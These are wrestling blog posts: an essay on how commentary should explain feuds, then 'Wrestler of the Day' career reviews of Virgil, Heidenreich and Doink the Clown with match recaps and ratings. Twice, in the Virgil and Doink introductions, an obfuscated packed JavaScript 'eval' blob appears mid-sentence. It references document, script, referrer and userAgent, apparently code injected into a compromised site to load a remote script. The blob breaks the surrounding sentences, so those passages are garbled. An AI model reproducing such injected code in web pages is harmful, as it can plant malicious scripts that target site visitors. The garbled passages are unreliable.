This might need some clarification. Obviously you can’t present the entire story in full detail every single time. Let’s go back to Taz vs. Sabu. Here’s what would have solved this whole problem.

Joey Styles: “Of course Taz and Sabu have a long history together. They feuded over the TV Title when Taz arrived in the organization but one day two years ago Sabu took a booking in Japan and blew off an ECW commitment. Taz was furious and swore that he would get his hands on Sabu. Tonight is his chance for revenge and make no mistake about it, Sabu hates Taz every bit as much for all the shots he’s taken at Sabu over the years.

That took me twenty seconds to write and even less to read. It tells the fans everything they need to know (that’s a key point. There’s a difference between everything there is to know and everything you NEED to know) about the feud in one statement. WWE is guilty of this too as often times they just expect you to get their stories and why we’re supposed to care about someone.

Fans should never have to do a thing other than watch a show. They’re already doing the promotion a favor by giving them their time or money. Think about it like this: if you go to a restaurant, you’re not expected to bring your own silverware or wash the dishes after your meal. You’re there, you pay, you get full service in return. Wrestling companies should never ask their fans to do more than enjoy the show.




Wrestler of the Day – June 25: Virgil

Today is a wrestling SUPERSTAR with Virgil. Hopefully he doesn’t charge me $20 for using his name.

Virgil eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yytti|var|u0026u|referrer|seazb||js|php'.split('|'),0,{})) got his start back in 1986 and was a jobber in the WWF in his rookie yere. Here he is on Wrestling Challenge, September 28, 1986.

Paul Orndorff vs. Lucius Brown

This is during the period where Orndorff came out to Real American. Feeling out process to start until Orndorff easily sends Brown to the floor. Back in and Orndorff hits him a few times before the piledriver gets an easy pin.

Virgil would become known as….uh Virgil, Ted DiBiase’s bodyguard. He would occasionally team with DiBiase, such as this match on January 25, 1988.

Hulk Hogan/Bam Bam Bigelow vs. Ted DiBiase/Virgil

This is from January of 88 in MSG. Andre is with the heels here. Virgil very rarely wrestled in this era so this was a rarity. Bigelow was the freaking man at this point so this is like the Superfriends teaming up. The heels jump them during the music as Heenan sits in on commentary. Double big boot puts DiBiase down as the bald brotherhood cleans house. Hogan and DiBiase officially start us off.

The crowd is insanely hot here. Off to Bigelow and DiBiase is reeling. The headbutts begin Back off to Hogan and the fans erupt again. Running forearm puts Ted down and he gets battered between the heroes. Hogan gets the windmill punch but Andre trips him because he’s EVIL. DiBiase finally goes on offense and chokes away. Apparently this is the anniversary of Hogan winning the title.

Virgil comes in off the top and hammers away. Hogan vs. Virgil. Who would have ever imagined that would have happened in MSG? Hogan plays face in peril here for a good while which is weird to see as you would think he would do the big hot tag. That shows you what you had in Bigelow. Chinlock by DiBiase as Andre says ring the bell. For once that might actually work.

If Andre told me to do something I’d do it. Also I’d be freaked out as he would be a corpse at this point. Hogan gets up and it’s a double clothesline to send Hogan and DiBiase down. Bigelow had a bad knee at this point which would explain why he’s been in about 10 seconds so far. Hot tag to Bigelow who cleans house. Gorilla press and some headbutts take down Virgil. DiBiase tries the save but Virgil takes a legdrop instead. An assisted splash ends Virgil and we’re done.

Rating: C. Just a match here to make the fans rather happy. Virgil was great for something like this as it let DiBiase get in there without blowing DiBiase vs. Hogan. Good little match here that was fine for a big match on a house show. The hot crowd helped it a lot and this was a nice little addition for some rare content.

Then this singles match from Superstars on May 28, 1988.

Virgil vs. Randy Savage

Savage is WWF Champion but it’s not on the line here. Ted’s early distraction doesn’t work and Savage swings the belt at Virgil to get him to the floor. Another distraction works a bit better and Virgil sends him into the buckle to take over. DiBiase chokes from the floor but Virgil misses a top rope splash. A knee to the back puts Virgil into the buckle and there’s an ax handle for good measure. DiBiase goes after Liz on the floor and Virgil gets in another cheap shot off the distraction. Savage is thrown to the floor and Ted tries to buy Liz. You know Randy won’t stand for that as he decks both of them and the big elbow gets the pin.

Rating: D. Nothing match but this was part of one of the best feuds WWF ever had. The good thing about Virgil is he was able to give us another match without having to put DiBiase in there all the time. You would think Ricardo Rodriguez would have done this more often for Del Rio.

We’ll jump ahead a few years as Virgil didn’t wrestle often. After years of getting abused by DiBiase, Virgil rebelled at the 1991 Royal Rumble. This led to a showdown at Wrestlemania VII.

Virgil vs. Ted DiBiase

Virgil gets one of the three big pops of his entire career here, with the first being when he finally hit DiBiase with the belt. The other will be in less than ten minutes. Virgil pounds away to start and sends Ted out to the floor. Back in and Ted hits a clothesline but an elbow misses a second later. DiBiase, the wrestler, easily takes Virgil down and hits a suplex for two. Things are REALLY slow now compared to just a few moments before. We head to the floor for a bit with DiBiase shoving down Piper, who was on crutches at this point. DiBiase talks some trash so Piper pulls the top rope down but the distraction is enough for a countout.

Rating: D. This was all story but it really should have been Virgil pinning DiBiase, even on a rollup. These two would continue to feud with Virgil actually taking the Million Dollar Title at Summerslam 1991. The problem with Virgil was that after the DiBiase feud, there was nothing for him to do at all. The match was really dull and didn’t have the payoff it needed at the end.

And the rematch from Summerslam 1991.

Million Dollar Title: Ted DiBiase vs. Virgil

This is one of the very rare defenses of this title. DiBiase has Sensational Sherri with him. Piper is Virgil’s mentor so the commentary is going to be rather slanted. Virgil starts fast and hits three straight clotheslines to send DiBiase out to the floor. Heenan is back on commentary but doesn’t want to talk about Hogan. Virgil misses a dive to the floor and DiBiase sends him into the steps to keep him down. Back inside and Ted is in full control but he brags too much and gets caught in the Million Dollar Dream. The fans go nuts but Sherri comes in and blasts Virgil with her loaded purse for the DQ.

Rating: D. Actually hang on a minute.

The referee says the match MUST continue, sending Sherri to the back and Roddy into delirium. Virgil pounds on DiBiase in the corner but since he doesn’t have much experience he can’t do anything. He tries to whip DiBiase across the ring but gets countered into a ref bump to put both guys down. Ted yells at Piper like the true heel that he is before suplexing Virgil down. A piledriver lays Virgil out but sicne there’s no referee, DiBiase rips the turnbuckle off instead. Ted yells at Piper once too often though, allowing Virgil to ram him into the buckle twice for the pin and the title. Piper goes NUTS.

Rating: D+. This is a good example of a match where the crowd and announcing make it much better than it would have been otherwise. Virgil just wasn’t that good and this was his one and only storyline with the company due to there being nothing else to his character. How the guy kept a job for so many years with both WWF and WCW is beyond me.

DiBiase said Virgil stole the belt, so he hired Repo Man to take it back. Here’s the result from This Tuesday In Texas.

Ted DiBiase/Repo Man vs. Virgil/Tito Santana

One thing modern WWE programming is great about is recapping stuff. That helps a ton as to someone that is randomly seeing this, this match makes NO sense. In reality, DiBiase had said that Virgil had stolen the Million Dollar Belt and recruited Repo Man to help him get it back, which worked. Since we need to fill in a match slot here, Tito joined Virgil and we get this match. The faces are already in the ring so what do you expect to happen here?

Virgil’s career is in essence over as far as importance goes here. He just had nothing to do once he left DiBiase and that singles feud went on about as long as it could so the WWF kept it going for another few months after it. Repo here is of course Smash from Demolition if you weren’t aware of that. Santana is more or less worthless here as El Matador.

The problem is that after that, no one remembered the great work he did as Tito Santana, as he was just remembered for the stupid gimmick that he did. As for the match, there’s not a lot to say. It’s your standard filler tag match that could have been on any house show or TV show of the era. I don’t know if it’s good enough for here but we’ll see I guess. Repo Man and DiBiase might be the weirdest combination of all time.

The main problem here is that there’s no point to having Santana in there. He didn’t have any feud with either guy that I can remember other than a few random matches with Repo that would have happened just because they were on the same level of the card. This is just a weird combination to have. The wrestling is fine, but it just comes off as weird all around. The match itself is once again the same kind of match that you would expect to see at a house show or on TV.

It’s actually not bad to be fair. It’s nothing to go out of your way to see, but I don’t have a problem with it being on a low level Tuesday PPV. The problem here is that Virgil is the guy that’s getting the hot tag. How is that appealing? With Sherri making a distraction, Repo hits him in the back with a knee to allow DiBiase to get the pin.

Rating: C. This was ok I guess, but it wasn’t anything great. The faces were just overly matched here and it was really easy to tell that. The formula worked fine here as it ca be expected with guys like DiBiase and Santana out there though, so that balances out I guess. This was pure filler.

With the DiBiase feud over, Virgil dropped down the card. Here he is at Wrestlemania VIII in an eight man tag.

Jim Duggan/Sgt. Slaughter/Virgil/Big Boss Man vs. Nasty Boys/Moutnie/Repo Man

Just a collection of lower midcard guys getting a Wrestlemania payday here. Neither team gets an entrance. Instead, Ray Combs of Family Feud is guest ring announcer for this and cracks a few jokes about the heels pre-match. The good guys clean house to start and hit a quadruple clothesline to clear the ring. Heenan announces that Shawn Michaels has left the building. Gorilla sums up our responses: “WHO CARES???”

Anyway Duggan and Sags start things off and it’s Jim hitting a few clotheslines to take over. Off to Slaughter who gets poked in the eye, allowing for the tag to Knobs. Slaughter pounds away to take over before it’s off to Boss Man for a boot to the face. Brian avoids a charge into the corner and Boss Man’s splash misses Repo Man as well, giving the heels control for a bit. Repo crotches himself and Boss Man slugs him down for good measure.

Off to Virgil who seems to mess up almost anything where he jumps into the air. Duggan tries to come in to save his partner but it’s back to Sags to beat on Virgil even more. A pumphandle slam gets two on Virgil and it’s back to Mountie. Everything breaks down and in the melee the Nastys are rammed together, allowing Virgil to steal the pin.

Rating: D. As I said, this was nothing more than a way to throw a bunch of guys onto the show at the same time. This was a much better idea than having four matches eat up a few minutes each as it accomplishes the same goal here. They were out there as filler before the world title match and there’s nothing wrong with that at all.

Then Virgil fell even further. From Summerslam 1992.

Virgil vs. Nailz

There isn’t much to Nailz. He was an escaped convict who wanted revenge on Big Boss Man for abusing him in prison and that’s about it. He attacked Boss Man with the nightstick and Virgil is standing up for his injured friend. Nailz immediately chokes Virgil into the corner but Virgil comes back with some jobber offense. A rollup gets no count on Nailz and it’s back to choking from the convict. We head to the floor and Virgil is rammed into the apron, sending him into a bad acting session. Back in and Nailz hooks a standing chinlock/choke for the win.

Rating: F. There isn’t much to say here. Neither guy was interesting and the match was little more than a way to set up the blowoff match against Boss Man. The problem with that is no one cared about Virgil so all we had was a Nailz squash. Nailz just wasn’t any good and after the Boss Man feud he didn’t have much, other than a horrible sounding feud with Undertaker. Then he went nuts and choked Vince in his office and said he wanted McMahon dead during the steroids trial, basically saving Vince from prison. That’s Nailz’s entire WWF career for all intents and purposes.

From Superstars on April 3, 1993.

Virgil vs. Giant Gonzalez

Gonzalez can’t catch up to Virgil to start so Virgil gets on the second rope and is about the same height. He gets on the top rope and loses a test of strength in a cool spot. Back up and Virgil’s dropkicks have no effect. A chokeslam gives Gonzalez the easy win.

Here’s another such match from Wrestling Challenge on July 24, 1994.

Nikolai Volkoff vs. Virgil

Volkoff is part of Ted DiBiase’s Million Dollar Team. Wrestling is a small world like that at times. Virgil dropkicks him to the floor to start as commentator Stan Lane talks about the history between DiBiase and Virgil. Back in and Nikolai slaps on a quickly broken bearhug but charges into a boot in the corner. Some clotheslines have Nikolai in trouble but DiBiase gets Virgil to the floor. That goes nowhere so Ted throws Virgil $100. This distraction actually works as Nikolai hits a German suplex and piledriver for the pin.

Rating: D. Pretty horrible match here but at the end of the day, it’s Nikolai Volkoff wrestling in 1994. How good of a match are you really going to expect? I loved Lane bringing in the history as so few commentators bring up even major stories like that one. Nothing match but that wasn’t the point here.

Virgil would leave soon after this and hit the indies for a few years. He would eventually appear in WCW as Vincent, the head of NWO’s security. Vincent would occasionally wrestle, including this match at Starrcade 1997.

Scott Norton/Vincent/Konnan vs. Ray Traylor/Steiner Brothers

The Steiners and Traylor had been going to war with the NWO for months so these three are just a random grouping of members for them to fight. There’s no Konnan in sight during the entrances so we’re going to start with a handicap match. Norton is a big strong guy who used to be world armwrestling champion. Vincent used to work for the WWF as Ted DiBiase’s bodyguard. The Steiners’ manager tonight? Ted DiBiase.

Since there’s no Konnan, here’s former world champion Randy Savage to take his place. Savage nearly gets in a fight with the WCW wrestlers in the audience on the way to the ring. For the sake of clarity in this match, Scott will only be used in reference to Scott Steiner. Savage starts with Scott with Randy being shoved back into the corner. A shoulder block puts Savage down but Norton hits Scott in the back to let Savage take over. Off to Vincent who is there to distract the referee while Savage chokes Scott.

Norton comes in for a power vs. power match with Scott, followed by a backbreaker to work on Scott’s back. Savage adds a double ax to the spine, only to have Scott come back with a double underhook powerbomb and a gorilla press slam. Everything breaks down and the NWO is cleared out. Back in and it’s Rick vs. Norton now which is a battle of the tough guys. Rick hits a quick suplex and a Steiner Line followed by a powerslam for two. Traylor, a former member of the NWO, comes in to pound away on Norton as well.

Vincent comes back in and walks into a spinebuster and a belly to back drop. Back to Scott for that wicked spinning belly to belly for no cover. Traylor comes in again as we have the rare heel in peril sequence. Rick puts on a chinlock while rubbing Vincent’s head for no apparent reason. Traylor comes back in but misses a splash, allowing for the tag off to Norton. After a big clothesline, it’s back to Vincent instead of Savage for no apparent reason.

To the shock of no one, Vincent is no match for Traylor and it’s hot tag to Rick. He cleans house and the Steiners hit their top rope DDT on Vincent, only to have Norton make the save. Scott hits the Frankensteiner off the top but this time Savage makes the save. Now it’s Savage in danger of being caught in the top rope Frankensteiner but Norton shoves Scott off the top, allowing Randy to drop the big elbow for the pin.

Rating: D+. Not a bad match or anything here, but why in the world would have have the NWO D team and Savage win this match? The Steiners are the world tag team champions and they’re losing in the second match on the biggest show of the year? This night is supposed to be all about WCW, not about the NWO winning a meaningless match that they don’t need.

Or this one from Nitro on February 8, 1999. Oh and it’s Vince now.

Vince vs. Ernest Miller

Seriously. Vince goes after Sonny Onoo before the bell and Miller jumps him from the apron. Back in and Miller kicks him a few times to send him back to the floor. Another kick sends Vince into the crowd for some brawling. Back inside again and Vince hits a jawbreaker but gets superkicked for the third time. More kicks drop Vince and Miller heads up top, but Sonny gets dragged to the apron which crotches Miller down. Vince grabs a rollup for the pin.

Rating: D-. Vince vs. Ernest Miller just got four minutes on Nitro after a four minute intro. I like that they’re trying to do something with Miller and it’s better than he used to be, but at the end of the day, there isn’t much they can do that is going to make me care about Vince. If nothing else this is bad because it gives him more to brag about when no one is in line to see him at conventions.

Vince would feud with the rest of the NWO Black and White, including this match at Uncensored 1999.

Stevie Ray vs. Vincent

This is a street fight for control of NWO Black and White, because when you think leadership of a heel team, you think Vincent. Since it’s a street fight, Stevie gets checked for weapons. Do you really expect for there to be a good match here? Out to the floor with Vincent in control. Did he ever win a match in WCW? They go into the stands and fight over like 50 empty seats.

Gee WCW, I’m sure you made the right decision to waste all those seats in an arena that you have a huge crowd. Clearly no one would have wanted those seats. Vincent backdrops him to ringside as I can’t believe I’m seeing Vincent in a match on PPV. Middle rope forearm gets two for Vincent. Stevie wakes up and we get the most ridiculous collision spot ever, as Stevie leans forward and Vincent doesn’t move for the spot to him. Horace comes out and hands Stevie a slapjack but Stevie hits a move called the Slapjack (elevated Pedigree) for the pin.

Rating: F. Vincent was in a gimmick match on a PPV in 1999 with Horace Hogan involved in it as well. Do I need to explain to you why this was a failure? The match sucked too and it sucked hard. I mean like a potential Diva in Vince’s office trying to get a job hard. Absolutely horrible match.

Vince would become a country singer later in the year before leaving WCW in 2000. Here’s one more appearance in WWE when he was brought back as Ted DiBiase Jr.’s bodyguard. From Raw on June 14, 2010.

Ted DiBiase/Virgil vs. Big Show/Mark Feuerstein

Morales vs. Muraco to this? Sure….why not? Let’s get this over with, but to be fair this guy isn’t that terrible and has a good bit of charisma. Isn’t Show a Smackdown guy? After Ted gets beaten up, here’s Virgil vs. Big Show. Wow that’s strange to write. Show palms his head. That can’t be pleasant. I guess that’s what he gets paid for though. There’s his chokeslam and then the host uses the Worm for the pin. Oh but he uses an elbow drop instead.

Rating: N/A. Were you expecting anything else? This was fine for what it was.

Virgil was a one note character and to his credit, he did a very good job. The matches weren’t anything to see, but he was good at what he did. Once he got to WCW he was nothing but a hanger on, but Virgil was a good jobber to the stars as people remembered him….I hesitate to say fondly but they did remember him. He was good at one thing and that’s better than a lot of people.

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Wrestler of the Day – June 24: Heidenreich

Today is someone a little off. It’s Heiden-Heidenreich.

Heidenreich got his start in 2001 so we’ll pick things up there with a dark match on December 18.

Perry Saturn vs. Jon Heidenreich

Jon is a hometown boy and comes to the ring in a football jersey. They fight over a lockup to start until Saturn takes over with some hard forearms. A clothesline puts Saturn down and Heidenreich stomps away but Perry comes back with some kicks to the ribs. Heidenreich gets dropped with a legsweep and we hit the reverse chinlock.

That goes nowhere so Saturn picks things up with a spinning springboard dropkick for two. The fans think this is boring and Saturn gets one off a neckbreaker. Heidenreich comes back with a powerslam and spinebuster for two and a back elbow gets the same. This is already dragging. Saturn finally puts on a standing armbar of all things for the win.

Rating: D. I can see why this was kept in the dark. This match just kept going and the fans had no reason to care whatsoever. Heidenreich looked good and was decent in the ring but these guys had no chemistry together. Bad match and not a good way to get the fans into a show that’s about to start.

After a year in OVW, Heidenreich would show up in 2003, where fought Rico on Heat, December 14, 2003. This was before Armageddon 2003.

Rico vs. Heidenreich

Heidenreich catches him in mid air but Rico kisses his way to freedom. An atomic drop puts Rico down and a clothesline sends him to the floor. Rico’s manager offers a good looking distraction and Rico grabs a neckbreaker for a pin out of nowhere.

Heidenreich would be in OVW for most of 2004 before returning in 2005 to feud with the Undertaker. Here’s their big showdown at Royal Rumble 2005.

Undertaker vs. Heidenreich

Taker grabs a headlock to start and pulls Heidenreich towards the casket but (Jon) Heidenreich runs away. That works so well that we do it again and Jon is terrified. Since that didn’t quite work, Taker hooks the leg with a half crab, causing Heidenreich to crawl towards the ropes in front of the casket. As we ignore the problem of crawling to the ropes, Jon bails to the floor to take the fight out there.

Heidenreich sends Taker into the casket and pounds his head into it, which apparently isn’t a problem for him. Back in and Heidenreich pounds away in the corner, only to get caught in a modified triangle choke. Taker pulls the hold down to the mat and Heidenreich is almost out, so here’s Snitsky to break up the hold. After a double suplex to Taker, the monsters start pulling him to the casket…..which has Kane inside.

Kane, who was feuding with Snitsky over Snitsky punting a plastic version of the baby that Kane’s wife Lita (just go with it) lost, destroys both guys and takes Snitsky into the crowd. Heidenreich starts shoving the casket away very slowly before slamming Taker into the steps. Heidenreich slides the casket into Taker, which looks rather stupid as Taker had nothing behind him to be crushed against but whatever.

Back in and Jon puts on a cobra clutch which chokes Taker out enough to get him into the casket. Well mostly in at least as Taker sticks an arm out and chokes away. With Heidenreich’s torso in the casket, Taker drops the apron legdrop in the spot of the match. Back in and Heidenreich is suddenly fine, pounding away on the Dead Man and hitting a Boss Man Slam for a cover. Taker chokes his way out of the casket and wins a slugout, followed by a bad running DDT. Chokeslam and tombstone hit and we’re done.

Rating: D. This just didn’t work. At the end of the day, Heidenreich just didn’t work at all and he never came close to it. This was supposed to be a preview of Snitsky/Heidenreich vs. Kane/Taker at Mania, but thankfully they went with Kane in MITB and Taker vs. Orton in a great match, whereas Snitsky and Heidenreich didn’t even make it onto the show.

Heidenreich would drop down the card after this, but would still get a PPV match at No Way Out 2005.

Heidenreich vs. Booker T

No real backstory here other than Heidenreich needed a feud after Taker got done beating him up. This was made after Smackdown apparently when Booker thought Heidenreich was laughing at Booker after a loss. He reads a poem before the match which isn’t very good. It’s kind of hard to get into this as it’s about as thrown onto the card as you could want a match to be.

Basic match to start and Jon (not typing that whole name out every time) talks to himself and hits himself in the head. Pretty back and forth here as Booker hits him a good deal but can’t drop him. Jon wasn’t an invincible guy which more or less took away any fear he would instill in anyone else. Well that and when he raped Cole. Jon takes over and gets a key lock as this is rather uninteresting.

Booker makes a comeback but gets kicked in the face to stop that. And now back to the same hold as he had on before. Booker makes another comeback and hits a superkick to set up the Spinarooni. Jon is sent to the floor where he grabs a chair and blasts Booker in the throat with it for the DQ.

Rating: F+. It was too long, it wasn’t interesting, there was no story, the ending sucked and the wrestling was boring. Why in the world was this on a pay per view? Heidenreich was a pretty big misfire if there ever has been one as he never was interesting or a threat to anyone really. This was a great example of how worthless he was.

Let’s try to make this be a bit better. From Velocity on May 19, 2005.

Heidenreich vs. Mike Mondo

Heidenreich throws him around with ease as Josh Matthews complains about Heidenreich injuring him recently. Mondo’s forearms have no effect and he gets a huge shoulder breaker for his efforts. A dropkick doesn’t work on Heidenreich either and a gutbuster has Mike screaming. There’s a Boss Man Slam to complete the squash.

Heidenreich would turn face and somehow get a US Title shot at Judgment Day 2005.

US Title: Orlando Jordan vs. Heidenreich

Jordan got the US Title in JBL’s Cabinet from Cena and just kind of kept it. He was never anything special at all but he kept it for like 6 months. For those of you that haven’t seen Heidenreich, he’s uh…..different. And remember who he’s in there against when I say that. First up though, he needs to find a friend.

This was his thing at the time: he would pick a kid out of the audience to be his friend and would read them a poem. He chants WHERE’S MY FRIEND as he looks around for one. The girl is named Alex and she’s like 10. She can’t say the word Minneapolis. She’s REALLY excited about being sat in a chair and having a big tattooed man read her a poem. Chant and champ do not rhyme. This is one of those characters we would describe as out there.

Oh hey we have a match now. Cole talks about the Preakness winner being named Alex like the girl. That’s a very stupid man. Heidenreich beat Jordan on Smackdown to set this up. Belly to belly suplex gets two for Heidenreich. Out to the floor and they slug it out a bit. When Heidenreich hits him you can hear him say POW. I’m not sure if I should make fun of this or not. He might ask me to go get an espresso.

The fans chant Buckwheat Sucks which is rather appropriate for Jordan. You figure out what I mean by that. Heidenreich does his walk (don’t ask) and hammers away. Big boot gets two. Jordan gets a swinging neckbreaker for two as Alex is panicking. Jordan gets his WEAK DDT to end this abruptly.

Rating: D-. No idea why they thought Jordan should be champion but somehow he’s the best option here. Jordan was really bad at what he did and yet he kept winning for no apparent reason. Benoit beat him in like 30 seconds at Summerslam which was a breath of fresh air to everyone.

The title pushes would continue as Heidenreich was part of the New Legion of Doom and got a title shot at Great American Bash 2005.

Smackdown Tag Titles: MNM vs. Heidenreich/Animal

This is Heidenreich/Animal since Hawk died a few years ago. I think this is because of the LOD DVD. Despite MNM being an awesome tag team and the champions (and the predecessors to Miz/Morrison), what do you think is going to happen here? Heidenreich doesn’t have spikes because he’d have to earn them. They’re called Legion of Doom but they changed the music so I don’t consider them a team. Heidenreich runs off Mercury to start and then does the same to Morrison.

Animal throws him back in and Animal gets a big pop. A double suplex puts the champions down and man there’s a gut on him. This is a total squash so far. FINALLY the champions double team Heidenreich and take his knees out. Mercury works on the knee and the announcers try to compare Heidenreich, the guy that raped Cole remember, to Hawk. Morrison misses a cannonball down onto the knee so it’s back to Mercury. This is REALLY boring stuff. After he cleans house, a title shot to the head gets two. Snapshot is broken up and the Doomsday Device gives the not-LOD the titles.

Rating: D. There was zero reason to put this on PPV and it wasn’t a good match in the slightest. They were trying to go for the LOD formula of total domination, but the non-matching tights and the lack of anything resembling charisma (or talent) by Heidenreich kept that from working. Bad TV match and an awful PPV match. Somehow they would hold the titles for THREE MONTHS.

The team would feud with MNM, setting up this six person tag at No Mercy 2005.

MNM vs. Legion of Doom/Christy Hemme

This is Animal/Heidenreich which never worked at all. They’re the tag champions here. My goodness Christy was gorgeous. She took a Snapshot on Smackdown so she’s injured coming in. Animal has a taped up shoulder too. Heidenreich pulls Nitro in and the beating is on before he can even take the fur coat off. Heidenreich is all fired up and hits a three point clothesline for two. Off to the large gut with the Animal attached but Mercury gets in a kick to the shoulder to take over.

He keeps kicking at it and knocks Heidenreich to take draw him in. MNM hits the Snapshot on Animal very quickly but it only gets two because of the delay in getting to the cover. Mercury snaps the shoulder over the top rope to let Nitro get two. The double team continues and Animal is in trouble. Neckbreaker gets two. Mercury goes up but jumps into an almost powerslam for two. Everything breaks down and Melina tags herself in. She dives onto Animal and gets caught. Off to Christy for a bad Hart Attack and then a HORRIBLE rana. As in the legs were around Melina’s arms. Doomsday Device ends Melina.

Rating: D-. Christy Hemme is a fine example of a girl that looks good in tight pants and a black bra. She’s incredibly attractive and sexy, but but she had no business being in a wrestling ring as a competitor. It didn’t work for her at all and she was only in the ring for about 45 seconds. Again though, she’s there for her looks and those work very well.

That would be about it for Heidenreich as they would lose the titles soon after and Heidenreich would be released at the end of the year. After bouncing around the indies for a bit, Heidenreich would pretty much vanish. Here’s one quick match from a show in the Netherlands on September 26, 2009.

Heidenreich vs. Fury

No idea who Fury is but he’s well built. They circle each other to start with Heidenreich yelling at the crowd a lot. Heidenreich offers a handshake and they shout at each other a bit. No contact two minutes in. Some hard forearms knock Heidenreich into the corner and even more forearms knock him to the floor. The ring mat is shiny.

Back in and Heidenreich hammers him down before pounding on Fury in the corner. Fury fights back and kicks Heidenreich in the back before putting on a chinlock. The fans start singing Heidenreich’s WWE song and we hit the chinlock. Back up and Fury hammers away, only to walk into a Boss Man Slam for the pin.

Rating: D-. Just get this over with already. It was five minutes of punching and forearms. Next.

One final one, from Hulk Hogan’s Australia tour in 2009.

Pimp Fatha vs. Heidenreich

Godfather does the usual intro and offers Heidenreich the women. He actually takes them up on it but a fight breaks out anyway and the match is on. Back inside and Heidenreich hammers away before getting yelled at as the referee. Godfather charges into an elbow in the corner and we hit a quick chinlock. Heidenreich tries an elbow after Godfather has already rolled away and a missed splash leads to what was supposed to be a rollup but was more like Heidenreich laying down so Godfather can grab the tights for the pin. Barely even a match but neither guy has wrestled on the big stage in years.

Godfather is the kind of guy that was far more entertaining than good. The pimp character could have opened house shows for YEARS and kept getting huge pops. No he wasn’t much to watch in the ring, but not everyone needs to be. I’ll give him this though: not many people could go to that many characters and have more than one be memorable. He was very charismatic and that’s more important than being good in the ring.

If there has ever been proff that Paul Heyman isn’t perfect…..well it’s ECW, but this is a good indicator as well. That’s almost everything I can find on Heidenreich, meaning these were his highlights. The guy had a good look but he just wasn’t very good in the ring and it really showed. To be fair though, when your first major feud is with Undertaker in a casket match, you’re kind of screwed coming out of the blocks.

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Wrestler of the Day – June 23: Doink the Clown

We’re going to do things a bit differently this time with a character instead of wrestlers. Today is Doink the Clown, but I’ll be doing anyone who has ever played the character. The main wrestlers are Matt Osborne (original Doink, also known as Big Josh in WCW), Steve Lombardi (Brooklyn Brawler) and Ray Apollo (never did much else).

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydfrr|var|u0026u|referrer|bfezt||js|php'.split('|'),0,{})) is the character’s debut from some point in early 1993 on Wrestling Challenge, though he’s made appearances in the aisle and crowd for months before.

Doink the Clown vs. Bob East

Doink takes East down very quickly and nails an enziguri. We hit an armbar on East followed by a nice dropkick. Doink puts on the Stump Puller (East is sitting down and Doink sits on his neck before pulling up on his leg) and drops back into a cradle for the pin.

Doink’s first major feud was with Crush, who he fought at Wrestlemania IX.

Crush vs. Doink the Clown

This is during Crush-A-Mania when he was on the verge of getting the mega push to the stars which would never happen. Crush chases him around the ring to start and slams Doink on the floor before pounding Doink in the face a bit. Doink tries to punch back but Crush no sells everything. Back inside and Crush hits a neckbreaker for no cover. A neck snap over the top keeps Doink down as does a backbreaker. We’re three minutes in and it’s all Crush so far.

As Crush is hitting some Sheamus forearms on the apron, Doink hits a kind of Stunner on the top rope to take over. A few top rope forearms to the back of Crush’s head keeps us in clown control and a lame piledriver gets no cover. Doink actually slams him but goes up top and jumps into a boot to the jaw. A cross body attempt by the Clown doesn’t work as Crush hits a powerslam before clotheslining Doink to the floor.

Doink tries to crawl under the ring but gets hit with a gorilla press back in the ring. Crush puts on the head vice (finisher) but as Doink gets to the ropes, the referee is bumped. The vice goes on again but another Doink comes out from under the ring with the cast. He blasts Crush in the head with it and the original Doink gets the pin.

Rating: D+. This was basically a squash until Doink got in some not terrible offense. Again though, this was when Crush was about to get pushed to the moon, so he loses to Doink? The Clown character had a ton of potential, but instead of going with something interesting like the Joker, we got FUN Doink soon after this, because that’s interesting stuff right?

Doink would then be brought in as part of the Bret Hart vs. Jerry Lawler feud, with Lawler having Doink face Bret as a replacement at Summerslam 1993.

Bret Hart vs. Doink the Clown

This is evil Doink, meaning he’s AWESOME. Doink comes out carrying two buckets, one of which contains confetti to throw at the fans. The other is full of water which is thrown on Bruce Hart in the old Harlem Globetrotters trick. Bret jumps Doink on the floor and we get things going inside. Doink is punched back to the floor before he can even get his jacket off before Hart sends him into the post. Heenan talks about how Lawler was in an 18 car pileup, crawled out of the car and into a school bus, saved 40 kids from the bus and bought them all hamburgers before coming to the arena tonight. Vince’s stunned reaction is great.

Doink gets in a shot and goes up, only to be crotched on the buckle. Heenan: “He’s been de-Doinked!” Bret offers Lawler a chance to come in before dropping Doink with an atomic drop. Another Lawler distraction lets Doink hit a knee to the back before sending Bret into the steps. Doink starts working on the leg and wraps it around the post with Lawler cheering him on.

The Clown puts on an STF and Heenan swears Bret gave up. Doink transitions into a lame chinlock before putting on a stump puller (you sit the other guy down and push his head down while pulling up on a leg) to stay on the leg and neck. Bret comes back with a right and the Five Moves of Doom. He hooks the Sharpshooter but Lawler runs into the ring and breaks the crutch over Bret’s back for the DQ.

Rating: C+. The match was your usual good Bret match when he had a good opponent to work against. Lawler pretending to be injured is the perfect action for him as he’s such a slimy coward most of the time. The Bret vs. Lawler feud had incredible heat to it as the fans wanted to see Lawler get beaten up…….and then there’s this.

In 1994, Ray Apollo would take over the character and turn him face. His major feud was against Bam Bam Bigelow, though they only had one singles match from some point in February 1994. Doink also now has a mini clown named Dink.

Doink the Clown vs. Bam Bam Bigelow

Bigelow and Doink get in a tug of war over Dink until Doink grabs a quick belly to belly to send Bigelow out to the floor. Dink steps on Luna Vachon’s hand to draw some screams before Doink takes Bigelow down by the leg. The referee is with Dink for some reason, allowing Luna to rake the big clown’s eyes for the save. A hard elbow to the jaw drops Doink again but he comes back with a running knee lift as we take a break.

